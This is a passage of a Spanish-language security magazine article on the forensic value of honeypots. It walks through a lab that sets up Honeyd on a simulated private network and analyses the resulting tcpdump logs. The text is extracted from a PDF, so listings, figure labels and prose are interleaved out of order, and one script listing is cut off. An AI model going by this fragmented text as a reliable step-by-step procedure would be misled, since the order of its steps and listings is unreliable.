ataque en el estudio de los logs,<br />

cosa que permitirán contrarrestarlo<br />

de una manera más eficiente.<br />

Al igual que los Honeypots, la<br />

cantidad y calidad de información<br />

producida es muy importante, ya<br />

que cualquier actividad existente<br />

es sospechosa.<br />

Laboratorio: Honeypots<br />

Detectar intentos de ataques a<br />

nuestra red mediante el uso de honeypots.<br />

Prerrequisitos: Obtener<br />

el software Honeyd: software para<br />

la implementación de honeypots,<br />

http://www.honeyd.org Actividades:<br />

Interfaces de red virtuales<br />

Ejecute el comando ifconfig para<br />

ver que interfaces de red tiene su<br />

estación Linux, para hacer el laboratorio.<br />

Resultado 1.1: Que interfaces<br />

obtiene? El comando ifconfig -a debe<br />

mostrar las siguientes interfaces:<br />

(Listing 1)<br />

La interface loopback representa<br />

el stack de protocolo por defecto.<br />

Su sentido es probar conexiones<br />

simulando todo el stack TCP/IP. En<br />

este laboratorio la usaremos para<br />

nuestra práctica. La IP asociada<br />

a la interface de loopback es la<br />

127.0.0.1, y de hecho, por esa interface<br />

responde toda la subred<br />

127.0.0.0/8.<br />

Compruebe la conectividad hacia<br />

la IP de loopback. En concreto<br />

ejecute los siguientes comandos:<br />

ping 127.0.0.1<br />

ping 127.0.0.2<br />

Resultado 1.2: Que resultados obtiene?<br />

A que se debe? Indique el<br />

rango de IPs que contestaran a ping<br />

y verifíquelo.<br />

Respuesta:<br />

• Todos los IPs contestan por<br />

que esa es la función de la interface<br />

loopback, en particular<br />

El valor forense de los honeypots<br />

Listado 7. Tráfico de honeyp<br />

honeyd[566]: listening on lo: ip<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.2 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.2 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.2 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.3 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.3 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.4 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.4 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.5 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.5 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.6 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.6 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.6 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.100 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.100 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.100 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.200 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.200 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.200 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.254 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.254 -> 192.168.100.1<br />

honeyd[566]: Sending ICMP Echo Reply: 192.168.100.254 -> 192.168.100.1<br />

…<br />

Listado 8. Logs<br />

tcpdump: listening on lo<br />

00:19:18.850198 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

00:19:18.850301 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

00:19:18.850732 uoc.32768 > uoc.domain: 59933+ PTR? 2.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

00:19:18.850741 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

00:19:18.850810 uoc.32768 > uoc.domain: 59933+ PTR? 2.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

00:19:18.850815 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

00:19:18.850906 uoc.32768 > uoc.domain: 59934+ PTR? 1.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

00:19:18.850911 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

00:19:18.850967 uoc.32768 > uoc.domain: 59934+ PTR? 1.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

00:19:18.850971 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

00:19:19.848096 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

00:19:19.848149 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

00:19:20.848091 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

00:19:20.848144 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

00:19:29.206180 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)<br />

00:19:29.206256 192.168.100.4 > 192.168.100.1: icmp: echo reply<br />

00:19:29.206553 uoc.32768 > uoc.domain: 59935+ PTR? 4.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

00:19:29.206561 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

00:19:29.206622 uoc.32768 > uoc.domain: 59935+ PTR? 4.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

00:19:29.206626 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

00:19:30.198089 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)<br />

00:19:30.198140 192.168.100.4 > 192.168.100.1: icmp: echo reply<br />

00:19:31.198085 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)<br />

00:19:31.198141 192.168.100.4 > 192.168.100.1: icmp: echo reply<br />

48 packets received by filter<br />

0 packets dropped by kernel<br />

www.<strong>hakin9</strong>.org/es<br />

45


kit<br />

sirve para hacer simulación del<br />

modelo cliente/servidor en forma<br />

local.<br />

Para probarlo se propone construir un<br />

shell que hace un ping para un solo<br />

intento hacia todos los Ips del segemento<br />

127.0.0.0, debiendo responder<br />

desde el IP 127.0.0.1 hasta el IP<br />

127.0.0.255 o broadcast: (Listing 2).<br />

Nota:<br />

• Observe los espacios antes y<br />

después del paréntesis cuadrado<br />

en la instrucción if [<br />

$sec…<br />

Para probarlo<br />

digite sh ping.sh 255 | tee<br />

resultado.txt<br />

Si mira el archivo resultado.txt debería<br />

ver lo siguiente: (Listado 3)<br />

Ahora generemos un entorno de<br />

simulación. Disponemos únicamente<br />

de un servidor con Linux y simularemos<br />

otro conjunto de hosts en la<br />

propia máquina para disminuir costos<br />

de recursos en hardware para el<br />

laboratorio:<br />

• Esta máquina la conectaremos a<br />

una subred, también con direccionamiento<br />

privado.<br />

Recordemos que el direccionamiento<br />

privado no figura en las<br />

tablas de routing de la red Internet.<br />

En concreto, para nuestra red simulada<br />

usaremos las direcciones<br />

192.168.100.0/24.<br />

Lo que nos proponemos en primer<br />

lugar es dar a la máquina una<br />

dirección de esa red. Como hemos<br />

supuesto que no disponemos de<br />

ninguna otra interface, generaremos<br />

una. Linux nos permite generar<br />

hasta 2 interfaces virtuales. Son<br />

las llamadas interfaces dummy.<br />

Así, conectaremos nuestro host de<br />

ejemplo a la subred 192.168.100.0<br />

con el comando:<br />

ifconfig dummy0 192.168.100.1 netmask<br />

255.255.255.0 up<br />

Listado 9. Verificacion de lineas<br />

create default<br />

set default personality "FreeBSD 2.2.1-STABLE"<br />

set default default tcp action block<br />

add default tcp port 80 "sh /tmp/web.sh"<br />

set default uid 1000 gid 1000<br />

bind 192.168.100.3 default<br />

set 192.168.100.3 uptime 1327650<br />

Listado 10. Realización de un ping al ip de servidor<br />

#!/bin/sh<br />

DATE=`date`<br />

cat


• La opcion netmask indica mascara<br />

de red<br />

• La opcion up indica que se habilite<br />

de inmediato<br />

Compruebe que la interface se ha<br />

creado, ejecutando nuevamente el<br />

comando:<br />

ifconfig –a<br />

Al acabar este apartado, debemos<br />

tener una máquina funcionando<br />

que responde a las IPs 127.0.0.1 y<br />

192.168.100.1.<br />

La red 192.168.100.0/24 la usaremos<br />

para colocar máquinas ‘trampa’<br />

para detectar cualquier intento de ataque<br />

que se esté produciendo en ella.<br />

Resultado 1.2: Compruebe la conectividad<br />

ejecutando ping a la nueva<br />

dirección. Compruebe tambien<br />

que interfaces presenta ahora el<br />

sistema (con el comando ifconfig -a).<br />

Respuesta: (Listado 4). Únicamente<br />

deben aparecer las dos interfaces lo<br />

y dummy0.<br />

Ahora pruebe las interfaces:<br />

(Listado 5). Los comandos ping anteriores<br />

prueban que las interfaces<br />

están dadas de alta pues responden<br />

al comando ping.<br />

Detección de escaneos<br />

y ataques. Configuración<br />

de un honeypot<br />

En la actualidad, muchos de los ataques<br />

que se producen en las redes<br />

tienen lugar mediante un proceso en<br />

dos fases: un escaneo previo para<br />

detectar máquinas susceptibles de<br />

ser atacadas, y el ataque posterior.<br />

El objetivo de este apartado es ser<br />

capaces de detectar esos ataques y<br />

guardar la información relevante.<br />

En el caso real, la red de nuestra<br />

organización sería la que en nues-<br />

Clasificación / taxonomía<br />

• Taxonomia de los honeypots<br />

• Honeypot de producción<br />

( Producción Honeypot System )<br />

• Honeypot de investigación<br />

( Research Honeypot System )<br />

El valor forense de los honeypots<br />

Listado 12. Obtención: log del comando tcpdump -ilo<br />

2006-01-25-18:39:06.0556 tcp(6) S 192.168.100.1 32804 192.168.100.3 80 [Linux<br />

2.4 lo0]<br />

2006-01-25-18:39:06.0556 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 44 SA<br />

2006-01-25-18:39:09.0749 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 A<br />

2006-01-25-18:39:11.0026 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 A<br />

2006-01-25-18:39:11.0029 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 552 A<br />

2006-01-25-18:39:11.0029 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 552 A<br />

2006-01-25-18:39:11.0029 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 74 A<br />

2006-01-25-18:39:11.0029 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 FA<br />

2006-01-25-18:39:11.0032 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 A<br />

2006-01-25-18:39:21.0038 tcp(6) E 192.168.100.1 32804 192.168.100.3 80: 9 058<br />

2006-01-25-18:39:27.0412 icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84<br />

[Linux 2.4 lo0]<br />

2006-01-25-18:39:27.0412 icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84<br />

2006-01-25-18:39:28.0408 icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84<br />

[Linux 2.4 lo0]<br />

2006-01-25-18:39:28.0409 icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84<br />

2006-01-25-18:39:29.0408 icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84<br />

[Linux 2.4 lo0]<br />

2006-01-25-18:39:29.0409 icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84<br />

2006-01-25-18:39:30.0408 icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84<br />

[Linux 2.4 lo0]<br />

2006-01-25-18:39:30.0409 icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84<br />

2006-01-25-18:39:38.0096 icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84<br />

[Linux 2.4 lo0]<br />

2006-01-25-18:39:38.0096 icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84<br />

006-01-25-18:39:39.0088 icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84<br />

[Linux 2.4 lo0]<br />

2006-01-25-18:39:39.0089 icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84<br />

2006-01-25-18:39:40.0088 icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84<br />

[Linux 2.4 lo0]<br />

2006-01-25-18:39:40.0089 icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84<br />

2006-01-25-18:39:41.0088 icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84<br />

[Linux 2.4 lo0]<br />

2006-01-25-18:39:41.0089 icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84<br />

INTERNET<br />

DMZ<br />

WIRELESS<br />

SERVIDORE DATOS TITICOS<br />

Figura 1. Envios de paquete<br />

www.<strong>hakin9</strong>.org/es<br />

UTM<br />

LAN<br />

SWITCH<br />

WAN<br />

VLAN 8<br />

VLAN 7<br />

VLAN 6<br />

VLAN 5<br />

VLAN 4<br />

VLAN 3<br />

VLAN 2<br />

VLAN 1<br />

47


kit<br />

Listado 13. Interface<br />

tcpdump: listening on lo<br />

20:44:19.378034 192.168.100.1.32773 > 192.168.100.3.www: S 438126803:<br />

438126803(0) win 32767 (DF)<br />

20:44:19.378178 192.168.100.3.www > 192.168.100.1.32773: S 1300529704:<br />

1300529704(0) ack 438126804 win 16430 (DF)<br />

20:44:19.378191 192.168.100.1.32773 > 192.168.100.3.www: . ack 1 win 32767<br />

(DF)<br />

20:44:19.378803 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

20:44:19.378814 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

20:44:19.378844 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

20:44:19.378849 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

20:44:19.378902 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

20:44:19.378906 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

20:44:19.378921 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

20:44:19.378925 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

20:44:19.379486 192.168.100.1.32773 > 192.168.100.3.www: P 1:430(429) ack 1<br />

win 32767 (DF)<br />

20:44:19.384103 192.168.100.3.www > 192.168.100.1.32773: . ack 430 win 16001<br />

20:44:19.442926 192.168.100.3.www > 192.168.100.1.32773: . 1:513(512) ack 430<br />

win 16430<br />

20:44:19.442951 192.168.100.1.32773 > 192.168.100.3.www: . ack 513 win 33768<br />

(DF)<br />

20:44:19.443284 192.168.100.3.www > 192.168.100.1.32773: . 513:1025(512) ack<br />

430 win 16430<br />

20:44:19.443291 192.168.100.1.32773 > 192.168.100.3.www: . ack 1025 win 33768<br />

(DF)<br />

20:44:19.443374 192.168.100.3.www > 192.168.100.1.32773: . 1025:1059(34) ack<br />

430 win 16430<br />

20:44:19.443379 192.168.100.1.32773 > 192.168.100.3.www: . ack 1059 win 33768<br />

(DF)<br />

20:44:19.443688 192.168.100.3.www > 192.168.100.1.32773: F 1059:1059(0) ack<br />

430 win 16430<br />

20:44:19.443803 192.168.100.1.32773 > 192.168.100.3.www: F 430:430(0) ack<br />

1060 win 33768 (DF)<br />

20:44:19.443835 192.168.100.3.www > 192.168.100.1.32773: . ack 431 win 16430<br />

20:44:22.165224 uoc.32774 > uoc.16001: S 446820472:446820472(0) win 32767<br />

<br />

(DF)<br />

20:44:22.165243 uoc.16001 > uoc.32774: R 0:0(0) ack 446820473 win 0 (DF)<br />

48 packets received by filter<br />

Listado 14. inicio de sesión<br />

dummy0 Link encap:Ethernet HWaddr 00:00:00:00:00:00<br />

inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0<br />

inet6 addr: fe80::200:ff:fe00:0/64 Scope:Link<br />

UP BROADCAST RUNNING NOARP MTU:1500 Metric:1<br />

RX packets:0 errors:0 dropped:0 overruns:0 frame:0<br />

TX packets:3 errors:0 dropped:0 overruns:0 carrier:0<br />

collisions:0 txqueuelen:0<br />

RX bytes:0 (0.0 b) TX bytes:210 (210.0 b)<br />

48 www.<strong>hakin9</strong>.org/es<br />

tro ejemplo es la 192.168.100.0/24.<br />

Lo que vamos a hacer es incluir<br />

en ella un conjunto de máquinas<br />

‘honeypot’ que permitan detectar<br />

los ataques que en ella se producen.<br />

El funcionamiento de honeyd<br />

es muy simple y potente, esencialmente<br />

consiste en indicarle al<br />

software que escuche sobre una<br />

determinada dirección y que opere<br />

de una forma con los paquetes que<br />

reciba.<br />

En el directorio del usuario root<br />

cree un nuevo archivo de configuración<br />

llamado honey.cfg, para<br />

el servicio honeyd, por ejemplo:<br />

(Listado 6).<br />

Para enrutar el tráfico de la red<br />

192.168.100.0 ejecute el comando:<br />

route add -net 192.168.100.0/24 gw<br />

127.0.0.1<br />

La opción –net indica la red y la opción<br />

gw indica pasarela o gateway. Ahora<br />

inicie el servicio honeyd en la consola<br />

virtual CTRL-ALT-F2:<br />

honeyd -d -i lo -f honey.cfg -l<br />

log.honeyd<br />

La pantalla no muestra mensajes hasta<br />

que no e haga ping hacia la interface<br />

de red. Ahora haga ping en la consola<br />

virtual CTRL-ALT-F1:<br />

ping 192.168.100.2<br />

Observe el tráfico que el honeyd<br />

presenta en la consola virtual CTRL-<br />

ALT-F2:<br />

honeyd[566]: started with -d -i lo -f<br />

honey.cfg<br />

Warning: Impossible SI range in<br />

Class fingerprint Windows NT 4<br />

SP3 (Listado 7) El comando ping<br />

Definición de honeypot<br />

Se define Honeypot como un recurso<br />

de red destinado a ser atacado y comprometido<br />

por el atacante.<br />

El honeypot proporciona información<br />

sobre el atacante antes de que se comprometan<br />

los sistemas reales.


INTERNET<br />

DMZ<br />

WIRELESS<br />

SERVIDORE DATOS TITICOS<br />

Figura 2. Envios de paquete<br />

debe responder no solo al IP<br />

192.168.100.2 sino a cualquier IP<br />

del segmento, pruebe haciendo ping<br />

a varias IP de la red 192.168.100.0.<br />

Ahora al parar el servicio honeyd<br />

con las teclas CTRL-C, las IPs del<br />

segmento 192.168.100.0 no deben<br />

responder. !! Los servicios reales<br />

no pueden correr simultáneamente<br />

con la simulación honeyd !! Vuelva<br />

a subir el servicio honeyd en la<br />

consola virtual CTRL-ALT-F2, ahora<br />

observe el tráfico con un sniffer<br />

Listado 15. Tráfico de tipo DNS<br />

como tcpdump en la consola virtual<br />

CTRL-ALT-F3:<br />

tcpdump –i lo | tee logs.tcpdump<br />

Observemos los logs: (Listado 8)<br />

Se debería ver claramente el envío<br />

del requerimiento del comando ping<br />

y la respuesta respectiva, además<br />

se debería ver que el trafico DNS<br />

muestra que no se puede resolver<br />

la reversa del IP 192.168.100.2 es<br />

decir específicamente el registro<br />

20:44:19.378034 192.168.100.1.32773 > 192.168.100.3.www: S 438126803:<br />

438126803(0) win 32767 (DF)<br />

20:44:19.378178 192.168.100.3.www > 192.168.100.1.32773: S 1300529704:<br />

1300529704(0) ack 438126804 win 16430 (DF)<br />

20:44:19.378191 192.168.100.1.32773 > 192.168.100.3.www: . ack 1 win 32767<br />

(DF)<br />

Listado 16. Secuencia del tráfico<br />

UTM<br />

WAN<br />

VLAN 8<br />

20:44:19.378803 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

20:44:19.378814 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

20:44:19.378844 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

20:44:19.378849 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

20:44:19.378902 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

20:44:19.378906 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

20:44:19.378921 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.inaddr.arpa.<br />

(44) (DF)<br />

20:44:19.378925 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />

LAN<br />

SWITCH<br />

VLAN 7<br />

VLAN 6<br />

VLAN 5<br />

VLAN 4<br />

VLAN 3<br />

VLAN 2<br />

VLAN 1<br />

www.<strong>hakin9</strong>.org/es<br />

49


kit<br />

PTR no puede ser resuelto. Creación<br />

de un honeypot para capturar<br />

el tráfico del puerto 80 sobre el IP<br />

192.168.100.3. Modifique el archivo<br />

honey.cfg para que:<br />

• Responda al tráfico ICMP<br />

• Tenga abierto el puerto 80 TCP<br />

• Cuando reciba una petición por el<br />

puerto 80 TCP ejecute el comando<br />

sh /tmp/web.sh y guarde los<br />

intentos de ataque en un log.<br />

Resultado 2.1: Que posibles utilidades<br />

se ven en este software en el diario vivir<br />

de una organización conectada a Internet?<br />

Como ayudaría en la detección de<br />

Listado 17. Análisis del tráfico<br />

problemas? Respuesta: Cree un nuevo<br />

archivo de configuración honey.cfg<br />

para que aparezcan los nuevos requerimientos:<br />

(Listado 9) Nota:<br />

• Es clave la instrucción set default<br />

default tcp action block para que<br />

el servidor web responda al requerimiento.<br />

Si prueba todas las<br />

posibilidades únicamente “block”<br />

funcionara.<br />

• La ruta para el shell web.sh en<br />

knoppix-std es: /usr/share/doc/<br />

honeyd/examples/web.sh<br />

• La ruta para el shell web.sh en<br />

Linux Auditor es: /usr/share/<br />

honeyd/scripts/web.sh<br />

50 www.<strong>hakin9</strong>.org/es<br />

Honeynets<br />

Se define a Honeynet como un conjunto<br />

de Honeypots altamente interactivos<br />

diseñados para la investigación y la<br />

obtención de información sobre atacantes.<br />

Honeynet es una arquitectura, no<br />

un producto o un software deteminado.<br />

El objetivo es el de hacer creer al<br />

atacante que esta ante una red “real”<br />

entonces se deben anadir los distintos<br />

elementos que conforman una arquitectura<br />

de red.<br />

Haga una copia hacia la carpeta<br />

/tmp y verifique que el shell web.sh<br />

contenga las siguientes líneas:<br />

22:26:47.647867 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:47.648175 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:48.641215 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:48.641333 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:49.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:49.641309 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:49.981941 192.168.100.1.32782 > 192.168.100.3.www: S 2386902885:2386902885(0) win 32767 (DF) [tos 0x10]<br />

22:26:49.982318 192.168.100.3.www > 192.168.100.1.32782: S 3385644204:3385644204(0) ack 2386902886 win 16430 <br />

(DF)<br />

22:26:49.982332 192.168.100.1.32782 > 192.168.100.3.www: . ack 1 win 32767 (DF) [tos 0x10]<br />

22:26:50.641214 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:50.641461 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:51.641205 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:51.641303 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:52.641208 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:52.641324 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:53.641207 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:53.641315 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:54.641204 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:54.641299 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:55.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:55.641290 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:55.854772 192.168.100.1.32782 > 192.168.100.3.www: P 1:17(16) ack 1 win 32767 (DF) [tos 0x10]<br />

22:26:55.854815 192.168.100.3.www > 192.168.100.1.32782: . ack 17 win 16414<br />

22:26:56.564418 192.168.100.1.32782 > 192.168.100.3.www: P 17:19(2) ack 1 win 32767 (DF) [tos 0x10]<br />

22:26:56.564479 192.168.100.3.www > 192.168.100.1.32782: . ack 19 win 16428<br />

22:26:56.567622 192.168.100.3.www > 192.168.100.1.32782: . 1:513(512) ack 19 win 16430<br />

22:26:56.567636 192.168.100.1.32782 > 192.168.100.3.www: . ack 513 win 33768 (DF) [tos 0x10]<br />

22:26:56.567664 192.168.100.3.www > 192.168.100.1.32782: . 513:1025(512) ack 19 win 16430<br />

22:26:56.567669 192.168.100.1.32782 > 192.168.100.3.www: . ack 1025 win 33768 (DF) [tos 0x10]<br />

22:26:56.567693 192.168.100.3.www > 192.168.100.1.32782: . 1025:1059(34) ack 19 win 16430<br />

22:26:56.567698 192.168.100.1.32782 > 192.168.100.3.www: . ack 1059 win 33768 (DF) [tos 0x10]<br />

22:26:56.632032 192.168.100.3.www > 192.168.100.1.32782: F 1059:1059(0) ack 19 win 16430<br />

22:26:56.641218 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:56.671194 192.168.100.1.32782 > 192.168.100.3.www: . ack 1060 win 33768 (DF) [tos 0x10]<br />

22:26:56.682492 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:56.682629 192.168.100.1.32782 > 192.168.100.3.www: F 19:19(0) ack 1060 win 33768 (DF) [tos 0x10]<br />

22:26:56.682659 192.168.100.3.www > 192.168.100.1.32782: . ack 20 win 16430<br />

22:26:57.641210 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:57.641298 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:58.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:58.641275 192.168.100.2 > 192.168.100.1: icmp: echo reply


(Listado 10). Ahora reinicie el servicio<br />

honeyd con el nuevo archivo<br />

de configuración, hágalo en la consola<br />

virtual CTRL-ALT-F2. Baje el<br />

servicio cancelando el proceso con<br />

la secuencia de teclas CTRL-C:<br />

honeyd -d -i lo -f honey.cfg -l<br />

log.honeyd<br />

Ejecute los siguientes comandos en la<br />

terminal virtual CTRL-ALT F1:<br />

Pruebe que el servidor web responda:<br />

telnet 192.168.100.3 80<br />

Trying 192.168.100.3...<br />

to 192.168.100.3. Escape character is<br />

'^]'.<br />

Digite:<br />

GET /<br />

Y dos veces la tecla enter. Vera<br />

una pantalla del servidor MS Windows<br />

simulada por linux. Haga un<br />

ping al IP del servidor 192.168.100.3:<br />

(Listado 11) Se deben obtener los<br />

siguientes logs en el tcpdump: (Listado<br />

12)<br />

Evaluación del tráfico<br />

de red generado desde<br />

y hacia el honeypot<br />

Uno de los programas más usados<br />

actualmente para la captura de tráfico<br />

es ethereal. En este apartado<br />

lo usaremos para capturar el tráfico<br />

Sobre el Autor<br />

Armando Carvajal-Ingeniero de Sistemas<br />

de la Universidad INCCA de Colombia,<br />

postgrado en Construcción de<br />

Software para redes de la Universidad<br />

de los Andes. Se desempeña como gerente<br />

técnico de la empresa Globaltek<br />

Security.<br />

Bibliografía<br />

www.Honeynet.org<br />

Grime,R., A.(2005). Honeypots for Windows,<br />

Editorial Apres<br />

Spitzne, L. (2003). Honeypots, Tracking<br />

Hackers, Addison Wesley<br />

El valor forense de los honeypots<br />

Listado 18. Análisis del tráfico<br />

22:26:47.647867 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:47.648175 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:48.641215 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:48.641333 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

22:26:49.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />

22:26:49.641309 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />

Listado 19. Analisis de trafico<br />

22:26:49.981941 192.168.100.1.32782 > 192.168.100.3.www: S 2386902885:<br />

2386902885(0) win 32767 (DF) [tos 0x10]<br />

22:26:49.982318 192.168.100.3.www > 192.168.100.1.32782: S 3385644204:<br />

3385644204(0) ack 2386902886 win 16430 (DF)<br />

22:26:49.982332 192.168.100.1.32782 > 192.168.100.3.www: . ack 1 win 32767<br />

(DF) [tos 0x10]<br />

de la sesión http generado en el<br />

apartado anterior. Una primera<br />

introducción a la captura de tráfico<br />

la hemos comentado en el apartado<br />

anterior. La utilidad tcpdump<br />

permite la captura de tráfico. La<br />

forma más simple es mediante la<br />

ejecución de:<br />

tcpdump –i <br />

Revise el sitio: http://www.arrakis.es/<br />

~terron/tcpdump.html<br />

Resultado 3.1: Ejecute el comando<br />

tcpdump y realiza una conexión<br />

web como la solicitada en la parte II<br />

de la practica. Observe los paquetes<br />

e identifique la conexión tcp que<br />

INTERNET<br />

DMZ<br />

WIRELESS<br />

SERVIDORE DATOS TITICOS<br />

Figura 3. Envios de paquete<br />

www.<strong>hakin9</strong>.org/es<br />

UTM<br />

tiene lugar. ¿Es posible capturar paquetes<br />

ARP? ¿A que se debe?<br />

Respuesta: Se debería ver algo<br />

como este log del comando tcpdump<br />

-i lo (Listado 13) Las anteriores líneas<br />

no muestran tráfico ARP, es decir no<br />

se puede capturar tráfico ARP debido<br />

a que la interface de red dummy0 no<br />

tiene el flag ARP activado por que esta<br />

no tiene MAC.<br />

En concreto la interface no tiene<br />

MAC Address, el protocolo ARP<br />

dado un IP responde con la MAC<br />

address de la interface de red y esta<br />

no lo tiene pues es virtual.<br />

Si revisa el archivo /proc/net/arp<br />

no contiene Mac Address pues en<br />

esta maquina no hay tarjetas físicas<br />

LAN<br />

SWITCH<br />

WAN<br />

VLAN 8<br />

VLAN 7<br />

VLAN 6<br />

VLAN 5<br />

VLAN 4<br />

VLAN 3<br />

VLAN 2<br />

VLAN 1<br />

51


kit<br />

